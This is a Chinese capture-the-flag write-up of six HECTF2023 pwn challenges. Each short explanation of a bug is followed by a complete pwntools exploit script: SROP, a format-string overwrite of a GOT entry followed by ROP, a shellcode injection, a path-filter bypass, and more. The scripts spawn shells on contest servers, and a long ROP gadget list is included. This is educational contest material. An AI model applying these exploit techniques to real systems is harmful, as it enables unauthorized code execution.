HECTF2023 - Pwn - WriteUp

HECTF2023 - Pwn - WriteUp

2023-11-19·CompetitionsPwnWriteUpCompetitions

HECTF2023 - Pwn - 题解

得分情况总览

共解出[ = 6 / 8 = ]{.label .primary}题 一血:[EZtext]{.label .primary} [easyweb]{.label .primary} [-风水小狮-]{.label .primary} 二血:[signin]{.label .primary}(100%是因为先秒的EZtext,导致这个能够更快秒掉的题被别人秒了) 三血:[fmt]{.label .primary}(奇葩脑洞,第一次见这么奇葩的思路) ༼ つ ◕_◕ ༽つ堆题是真的不会做

WriteUp-正文

signin

直接打开IDA,可以知道我们的目标是让输入的v4在小于3的同时要让低位的四字节的数值等于B,也就是0x42. 于是就类似于整数溢出的思想,直接送入0xffffffffff00000042就行了 但是这里读入用的是scanf,所以必须以字符串或者bytes的形式输入数字,化为十进制就是-4294967230 EXP:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './signin'
p=remote('106.15.206.42',31834)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(pwn)
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# payload=p64(0xffffffff00000042)
payload=b'-4294967230'
p.sendline(payload)
p.interactive()

这题直接秒了,但是我先做的eztext那题,所以就手速慢了,没有拿到一血。或许先做这题,一血就拿到了。

eztext

打开IDA一眼扫过去直接用SROP。模板题,具体原理不再详说。 用模板做题半分钟写好EXP:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './eztext'
p=remote('106.15.206.42',32228)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(pwn)
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
syscall=0x401127
sigreturn= p64(0x401139)+p64(syscall)		# sigreturn = p64(pop_rdi)+p64(0xf)+p64(0x401136)+p64(syscall)
sh=0x404050
frame = SigreturnFrame()
# 实现execve的系统调用
# 需要存储在伪造的栈地址位置
frame.rax = 59
frame.rdi = sh
frame.rsi=0
frame.rdx = 0
frame.rcx = 0
frame.rbp = 0x403f00
frame.rsp = sh+8
frame.rip = syscall
stack_frame = b"/bin/sh\x00"+sigreturn+bytes(frame)

# 实现read的系统调用
# 读取包括bin字符串和伪造的栈数据
frame = SigreturnFrame()
frame.rdi = constants.SYS_read
frame.rsi = sh
frame.rdx = 0x100
frame.rbp = 0x403f00
frame.rsp = 0x404000
frame.rcx = len(stack_frame)
frame.rip = syscall
frame.rsp = sh+8  # 设置栈顶指针位置
pad = cyclic(0x10)
pad += sigreturn + bytes(frame)

# 先发送实现read系统调用的pad
p.send(pad)
# read读取stack_frame
# 然后ret到伪造的栈上执行execve系统调用
pause()
p.send(stack_frame)
p.interactive()

micro_httpd

通过简单的读题我们可以看到这里的逻辑就是输入一个”get “+filepath+” hectf”并且filepath能够通过过滤,那么就能够顺利读取文件。 但是我们如果仅仅通过构造filepath来让他通过过滤条件,这显然是很困难的。所以我们只能另寻他法。 注意到main函数第49,50行的while循环。我一开始以为这里是IDA反汇编识别错误了,但是后来就被狠狠地打脸了。 可以看到这里传入的三个参数分别是v7, 0x2000LL, stdin,这里的v7指向的是栈里面地址低于filepath的地方,而且距离正好是0x2000. 这时候我们就希望这里面读入的能够覆盖到至少filepath前两个字节,那么就能够轻轻松松通过过滤读到文件了。 通过读源代码发现这里的漏洞就是在i=-1那里。0x2000-(-0x2)=0x2002,因此我们正好可以覆盖到filepath前两个字节。所以我们就可以修改filepath前两个字节为“/.”,而且刚开始输入的就是“/a./flag”,经过替换之后就是”/../flag” 于是我们就名正言顺地拿到flag了 [注:这里调试的话需要设置参数表。因为main函数前面会对参数表进行检查。]{.label .primary}

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

# pwn = ''
# p=remote('101.132.112.252',32672)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process(argv=['/home/akyoi/cac/HECTF/https/www/pwn','/home/akyoi/cac/HECTF/https/www/'])
gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# payload=b'get '+b'/+../'+b' hectf'
header=b'get'

path=b'/a./flag'

arg_name=b'hectf'
payload=header+b' '+path+b' '+arg_name
p.sendline(payload)
pause()
payload=b"a"*0x2000+b'/.'
p.sendline(payload)
pause()
p.sendline("")
p.interactive()

magic

拿到题目直接checksec之后发现不对劲 扔进IDA里面发现这里实现了栈上开辟空间并且修改或者调用函数的功能。 经过漫长的读代码之后意识到只能进行三次操作,其中肯定有一次选项3,那么剩下两次毋庸置疑就是一次选项1和2。因此,我们的思路就是先1,再2,最后3,读入shellcode到栈里面并且执行。 注意到这里我们为了能够顺利通过call rax;来运行shellcode,我们需要采用低位覆盖的方法把v10的最低一个字节修改(因为这里原本指向的地址和shellcode开始的位置的offset并不是很大),使v10指向shellcode开头的位置。但是这里按理来说有1/256的概率成功,但是我只用了一次就get到了shell,感觉还是挺幸运的! EXP:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './magic'
p=remote('101.133.164.228',32026)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./magic')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
shellcode=asm(shellcraft.sh())
p.sendline(b"1")
pause()
p.sendline(b"100")
pause()
p.sendline(b"2")
pause()
p.sendline(b'2000')
pause()
payload=b'\x00'*0x70+shellcode.ljust(0x50,b'\x00')+b'\x10'
p.sendline(payload)
pause()
p.sendline(b"3")
p.interactive()

fmt

读了题目都知道是格式化字符串漏洞了,但是正常情况下只能使用一次,这显然是无法让我们拿到shell的。 刚开始往格式化字符串泄露canary然后构造ROP的办法来想的,但是意识到第一步获得了canary又能干什么呢?啥都干不了,就exit了。所以我们不能这么平庸地看问题。 考虑到绕过Canary,不如与其正面硬刚,直接让Canary失效。 众所周知,如果程序检测到Canary被更改了,那么就会在函数结束的时候调用__stk_chk_fail这个函数,然后就退出了。但是我们正是可以利用这一点,用格式化字符串更改__stk_chk_fail的got表地址为main函数地址,那么就可以构造较长的payload来修改Canary从而可以无限次调用main函数,也是可以通过较短的payload不修改Canary来达到不接着调用函数直接ret的效果。 既然可以控制main函数的执行了,那么我们也就可以控制格式化字符串漏洞的利用了。 于是我们这样利用漏洞: 1.第一次格式化字符串漏洞:修改__stk_chk_fail函数的got表地址为main函数地址。 2.第二次格式化字符串漏洞:获取栈上面__libc_start_main+128的地址。 3.第三次格式化字符串漏洞:构建并且输入ROP,但是这里payload的长度肯定会覆盖Canary,因此我们这里一定会进入下一层main函数,但是在下一层main函数我们随便传一个短短的字符串就行了,就可以不修改Canary从而达到退出执行上一层main函数输入的ROP的效果。 :::info 这里输入用的是scanf,遇到0d会截断,亲测system似乎打不通(我只试了本地,远程不知道),反正都有libc基址了,啥gedgets就都有了,而且ROP空间充足那么我们倒不如直接调用成功率更大的execve ::: EXP:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './fmt'
p=remote('101.132.112.252',31803)
# p=process(['./libc.so.6', pwn], env={"LD_PRELOAD":'./ld-linux-x86-64.so.2'})
# p=process('./fmt')
# gdb.attach(p)
elf=ELF(pwn)
libc=ELF('./libc.so.6')
payload="a"
offset=8
canary_offset=65
puts_got=0x403360
payload=fmtstr_payload(8,{puts_got:0x0000000000401217}).ljust(0x1d8,b'\x00')
p.sendline(payload)
# pause()
payload1="%149$p"
p.sendline(payload1.ljust(0x1d0-7,'\x01'))
# pause()
p.recvuntil(b'0x')
base=int(p.recv(12),16)

print(base)
base-=128
base-=libc.sym['__libc_start_main']
sys_addr=base+libc.sym['execve']
exitf=base+libc.sym['exit']
sh=base+next(libc.search(b'/bin/sh'))
pop_rdi=base+0x2a3e5
pop_rsi=base+0x2be51
payload=b'a'*0x1d8+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(sys_addr)+p64(pop_rdi)+p64(0)+p64(exitf)

p.sendline(payload)
p.sendline("fuckyou")
p.interactive()

# 0x000000000011df5c : pop r11 ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000002a73e : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3de : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4c : pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000044d41 : pop r12 ; pop r13 ; pop rbp ; ret
# 0x0000000000041c48 : pop r12 ; pop r13 ; ret
# 0x000000000011b958 : pop r12 ; pop r14 ; ret
# 0x0000000000133d1f : pop r12 ; pop rbp ; ret
# 0x0000000000035731 : pop r12 ; ret
# 0x000000000002a740 : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e0 : pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4e : pop r13 ; pop r14 ; ret
# 0x0000000000044d43 : pop r13 ; pop rbp ; ret
# 0x0000000000041c4a : pop r13 ; ret
# 0x000000000002a742 : pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e2 : pop r14 ; pop r15 ; ret
# 0x000000000002be50 : pop r14 ; ret
# 0x000000000002a744 : pop r15 ; pop rbp ; ret
# 0x000000000002a3e4 : pop r15 ; ret
# 0x0000000000147d18 : pop rax ; pop rbx ; pop rbp ; ret
# 0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
# 0x0000000000045eb0 : pop rax ; ret
# 0x00000000000719aa : pop rax ; ret 0xffff
# 0x000000000002a3dd : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000041c47 : pop rbp ; pop r12 ; pop r13 ; ret
# 0x0000000000035730 : pop rbp ; pop r12 ; ret
# 0x000000000013cfae : pop rbp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002a741 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e1 : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000002be4f : pop rbp ; pop r14 ; ret
# 0x0000000000044d44 : pop rbp ; pop rbp ; ret
# 0x0000000000054618 : pop rbp ; pop rbx ; ret
# 0x000000000002a2e0 : pop rbp ; ret
# 0x0000000000044d40 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
# 0x00000000000910c0 : pop rbx ; pop r12 ; pop r13 ; ret
# 0x0000000000053813 : pop rbx ; pop r12 ; ret
# 0x0000000000040487 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000041c46 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
# 0x0000000000035850 : pop rbx ; pop rbp ; pop r12 ; ret
# 0x000000000013cfad : pop rbx ; pop rbp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000112cd8 : pop rbx ; pop rbp ; pop r14 ; ret
# 0x000000000002a2df : pop rbx ; pop rbp ; ret
# 0x0000000000035dd1 : pop rbx ; ret
# 0x000000000011f450 : pop rcx ; pop rbp ; pop r12 ; pop r13 ; ret
# 0x0000000000126ae0 : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000108b04 : pop rcx ; pop rbx ; ret
# 0x000000000012cbb3 : pop rcx ; ret 0xe
# 0x000000000011f1a7 : pop rcx ; ret 0xf66
# 0x000000000013fac1 : pop rcx ; ret 9
# 0x000000000002a745 : pop rdi ; pop rbp ; ret
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000011f4d7 : pop rdx ; pop r12 ; ret
# 0x00000000000904a9 : pop rdx ; pop rbx ; ret
# 0x0000000000108b03 : pop rdx ; pop rcx ; pop rbx ; ret
# 0x00000000000796a2 : pop rdx ; ret
# 0x000000000002a743 : pop rsi ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e3 : pop rsi ; pop r15 ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000002a73f : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3df : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4d : pop rsp ; pop r13 ; pop r14 ; ret
# 0x0000000000044d42 : pop rsp ; pop r13 ; pop rbp ; ret
# 0x0000000000041c49 : pop rsp ; pop r13 ; ret
# 0x000000000011b959 : pop rsp ; pop r14 ; ret
# 0x0000000000133d20 : pop rsp ; pop rbp ; ret
# 0x0000000000035732 : pop rsp ; ret

风水小狮

蒟蒻也想成为风水大狮。 IDA中发现没啥意思,简单直接写EXP。 发现while(1)中循环一个fun2() and fun3(),而且fun2可以被我们利用来运行system(“/bin/sh”),还可以输入一堆东西,而且strlen的绕过只要在输入的东西前面加个\x00就可以了。 fun3我们只要不输入exit就可以了。 这里多送入几对’system’,‘/bin/sh’这样它通过system的检测的概率就大亿点。 但是这里我们要内存对齐,所以开始的\x00就送入了8个。 多运行了几次直接秒杀!一血!FirstBlood! EXP:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './xiaoshi'
p=remote('101.133.164.228',30683)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./xiaoshi')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
payload=b'\x00'*8+b'system\x00\x00/bin/sh\x00'*15
p.sendline(payload)

p.interactive()

我不是风水大狮,但是蒟蒻也想当风水大狮。

༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ ༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ ༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ ༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ༼ つ ◕◕ ༽つ